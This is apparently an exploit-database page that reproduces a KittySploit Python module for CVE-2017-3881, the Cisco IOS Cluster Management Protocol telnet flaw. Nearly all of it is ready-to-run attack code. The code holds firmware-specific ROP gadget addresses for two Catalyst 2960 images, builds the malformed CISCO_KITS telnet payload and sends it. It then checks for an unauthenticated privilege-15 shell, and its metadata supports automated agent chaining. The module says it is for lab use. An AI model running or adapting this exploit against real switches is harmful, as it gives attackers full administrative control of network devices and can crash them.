Lucene search
+L

Cisco IOS CMP CVE-2017-3881 credless privilege-15 telnet

🗓️ 15 Jul 2026 07:29:04Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

Cisco IOS Cluster Management Protocol telnet RCE provides credential-less privilege-15 shell.

Related
Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
CVE-2017-3881 — Cisco IOS / IOS XE Cluster Management Protocol (CMP) telnet RCE.

Patches in-memory function pointers so subsequent telnet sessions receive a
credential-less privilege-15 shell. Firmware-specific ROP gadgets from Artem
Kondratenko's PoC (artkond/cisco-rce).
"""

from __future__ import annotations

import socket
from typing import Dict, Optional, Tuple

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client, _get_opt

# Shared first gadget (both supported C2960 LANBASEK9-M images)
_GADGET1 = b"\x00\x00\x37\xb4"

_FIRMWARE_PROFILES: Dict[str, Dict[str, bytes]] = {
    "c2960_12.2.55.se1": {
        "label": "C2960 LANBASEK9-M 12.2(55)SE1",
        "is_cluster_mode_ptr": b"\x02\x2c\x8b\x74",
        "set_cluster_true": b"\x00\x00\x99\x80",
        "unset_cluster_true": b"\x00\x04\xea\x58",
        "gadget2": b"\x00\xdf\xfb\xe8",
        "gadget3": b"\x00\x06\x78\x8c",
        "r1_plus8_g3": b"\x02\x2c\x8b\x60",
        "gadget4": b"\x00\x6b\xa1\x28",
        "set_priv15": b"\x00\x12\x52\x1c",
        "unset_priv15": b"\x00\x04\xe6\xf0",
        "gadget5": b"\x01\x48\xe5\x60",
        "return_addr": b"\x01\x13\x31\xa8",
    },
    "c2960_12.2.55.se11": {
        "label": "C2960 LANBASEK9-M 12.2(55)SE11",
        "is_cluster_mode_ptr": b"\x02\x3d\x55\xdc",
        "set_cluster_true": b"\x00\x00\x99\x9c",
        "unset_cluster_true": b"\x00\x04\xea\xe0",
        "gadget2": b"\x00\xe1\xa9\xf4",
        "gadget3": b"\x00\x06\x7b\x5c",
        "r1_plus8_g3": b"\x02\x3d\x55\xc8",
        "gadget4": b"\x00\x6c\xb3\xa0",
        "set_priv15": b"\x00\x27\x0b\x94",
        "unset_priv15": b"\x00\x04\xe7\x78",
        "gadget5": b"\x01\x4a\xcf\x98",
        "return_addr": b"\x01\x14\xe7\xec",
    },
}


def _build_cmp_payload(profile: Dict[str, bytes], set_credless: bool) -> bytes:
    """Build the malformed CISCO_KITS telnet subnegotiation ROP chain."""
    payload = b"\xff\xfa\x24\x00"
    payload += b"\x03CISCO_KITS\x012:"
    payload += b"A" * 116
    payload += _GADGET1
    payload += profile["is_cluster_mode_ptr"]
    payload += profile["set_cluster_true"] if set_credless else profile["unset_cluster_true"]
    payload += b"BBBB"
    payload += profile["gadget2"]
    payload += b"CCCC"
    payload += b"DDDD"
    payload += b"EEEE"
    payload += profile["gadget3"]
    payload += profile["r1_plus8_g3"]
    payload += b"FFFF"
    payload += b"GGGG"
    payload += profile["gadget4"]
    payload += profile["set_priv15"] if set_credless else profile["unset_priv15"]
    payload += b"HHHH"
    payload += b"IIII"
    payload += profile["gadget5"]
    payload += b"JJJJ"
    payload += b"KKKK"
    payload += b"LLLL"
    payload += profile["return_addr"]
    payload += b":15:" + b"\xff\xf0"
    return payload


class Module(Auxiliary, Tcp_scanner_client):
    __info__ = {
        "name": "Cisco IOS CMP CVE-2017-3881 credless privilege-15 telnet",
        "description": (
            "CVE-2017-3881: sends malformed Cluster Management Protocol (CMP) "
            "telnet options (CISCO_KITS) to patch in-memory authentication hooks "
            "and grant unauthenticated privilege-15 CLI on the next telnet session. "
            "ROP gadgets are firmware-specific; wrong image may crash the device."
        ),
        "author": [
            "Artem Kondratenko (@artkond)",
            "KittySploit Team",
        ],
        "cve": ["CVE-2017-3881"],
        "references": [
            "https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/",
            "https://github.com/artkond/cisco-rce",
            "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp",
            "https://nvd.nist.gov/vuln/detail/CVE-2017-3881",
        ],
        "tags": [
            "cisco",
            "ios",
            "ios-xe",
            "catalyst",
            "telnet",
            "cmp",
            "cluster",
            "privesc",
            "unauthenticated",
            "cve-2017-3881",
            "auxiliary",
        ],
        "agent": {
            "risk": "intrusive",
            "effects": ["active_exploitation", "credential_access"],
            "expected_requests": 2,
            "reversible": True,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals"],
            "cost": 1.5,
            "noise": 0.6,
            "value": 1.0,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": ["cisco", "ios", "catalyst", "telnet"],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": [],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "admin_access", "from_detail": "ios_credless_telnet"},
                    {"capability": "network_device", "from_detail": ""},
                ],
                "consumes_capabilities": [],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    port = OptPort(23, "Target Telnet port", required=True)
    firmware = OptChoice(
        "c2960_12.2.55.se1",
        "IOS image profile (ROP gadgets must match running firmware)",
        required=True,
        choices=list(_FIRMWARE_PROFILES.keys()),
    )
    action = OptChoice(
        "set",
        "Patch credless privilege-15 authentication (set) or restore (unset)",
        required=True,
        choices=["set", "unset"],
    )
    verify = OptBool(
        True,
        "After --set, open a second telnet session and look for an immediate # prompt",
        required=False,
    )
    verbose = OptBool(False, "Print telnet banner bytes", required=False, advanced=True)

    def _opt(self, option) -> str:
        if hasattr(option, "value"):
            return str(option.value or "").strip()
        return str(option or "").strip()

    def _timeout_sec(self) -> float:
        return max(float(_get_opt(self, "timeout") or 10), 5.0)

    def _profile(self) -> Tuple[str, Dict[str, bytes]]:
        key = self._opt(self.firmware) or "c2960_12.2.55.se1"
        if key not in _FIRMWARE_PROFILES:
            key = "c2960_12.2.55.se1"
        return key, _FIRMWARE_PROFILES[key]

    def _probe_banner(self, host: str, port: int) -> Tuple[bool, str]:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.settimeout(self._timeout_sec())
            sock.connect((host, port))
            data = sock.recv(1024)
            banner = data.decode("utf-8", errors="replace")
            lowered = banner.lower()
            hints = ("cisco", "ios", "catalyst", "switch")
            return any(h in lowered for h in hints), banner
        except Exception as exc:
            return False, str(exc)
        finally:
            try:
                sock.close()
            except Exception:
                pass

    def _send_cmp_payload(
        self,
        host: str,
        port: int,
        profile: Dict[str, bytes],
        set_credless: bool,
    ) -> Tuple[bool, str]:
        payload = _build_cmp_payload(profile, set_credless=set_credless)
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.settimeout(self._timeout_sec())
            sock.connect((host, port))
            banner = sock.recv(1024)
            if bool(self.verbose):
                print_info(f"Telnet banner: {repr(banner)}")
            sock.sendall(payload)
            return True, banner.decode("utf-8", errors="replace")
        except Exception as exc:
            return False, str(exc)
        finally:
            try:
                sock.close()
            except Exception:
                pass

    def _verify_credless_shell(self, host: str, port: int) -> Tuple[bool, str]:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            sock.settimeout(self._timeout_sec())
            sock.connect((host, port))
            _ = sock.recv(1024)
            sock.sendall(b"\r\n")
            response = sock.recv(4096)
            text = response.decode("utf-8", errors="replace")
            lowered = text.lower()
            if "username" in lowered or "password" in lowered:
                return False, text
            if "#" in text:
                return True, text
            return False, text
        except Exception as exc:
            return False, str(exc)
        finally:
            try:
                sock.close()
            except Exception:
                pass

    def check(self):
        host = self._host()
        port = self._port()
        if not host:
            return {"vulnerable": False, "reason": "target not set", "confidence": "low"}
        if not self.is_tcp_open(host=host, port=port):
            return {
                "vulnerable": False,
                "reason": f"TCP {port} closed on {host}",
                "confidence": "high",
            }
        cisco_like, banner = self._probe_banner(host, port)
        if cisco_like:
            return {
                "vulnerable": True,
                "reason": "Telnet open with Cisco IOS banner — CMP exploit may apply if unpatched",
                "confidence": "medium",
                "banner": banner[:200],
            }
        return {
            "vulnerable": True,
            "reason": "Telnet port open; firmware/CMP exposure not confirmed from banner",
            "confidence": "low",
            "banner": banner[:200],
        }

    def run(self):
        host = self._host()
        port = self._port()
        if not host:
            print_error("Target host is required")
            return False

        profile_key, profile = self._profile()
        set_credless = self._opt(self.action) != "unset"
        label = profile.get("label", profile_key)

        print_status(f"Target: {host}:{port}")
        print_status(f"Firmware profile: {label}")
        print_status(
            "Setting credless privilege-15 authentication"
            if set_credless
            else "Unsetting credless privilege-15 authentication"
        )
        print_warning(
            "Wrong firmware profile can reload or crash the switch — lab use only"
        )

        if not self.is_tcp_open(host=host, port=port):
            print_error(f"Telnet port {host}:{port} is not reachable")
            return False

        ok, detail = self._send_cmp_payload(
            host,
            port,
            profile,
            set_credless=set_credless,
        )
        if not ok:
            print_error(f"CMP payload delivery failed: {detail}")
            return False

        print_success("CMP payload sent")

        if set_credless and bool(self.verify):
            print_status("Verifying credless privilege-15 shell on a new telnet session")
            verified, verify_text = self._verify_credless_shell(host, port)
            if bool(self.verbose) and verify_text:
                print_info(verify_text[:2000])
            if verified:
                print_success("Immediate enable (#) prompt observed — credless priv-15 likely active")
            else:
                print_warning(
                    "Verification inconclusive (wrong firmware profile, already patched, "
                    "or telnet requires authentication)"
                )
                return False

        if set_credless:
            print_success("Credless privilege-15 telnet access should be available")
            print_info(f"Connect: telnet {host} {port}")
            print_info("Then run: show privilege  (expect level 15)")
        else:
            print_success("Credless authentication patch reverted (unset)")
        return True

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jul 2026 07:29Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 210
EPSS0.9895
SSVC
1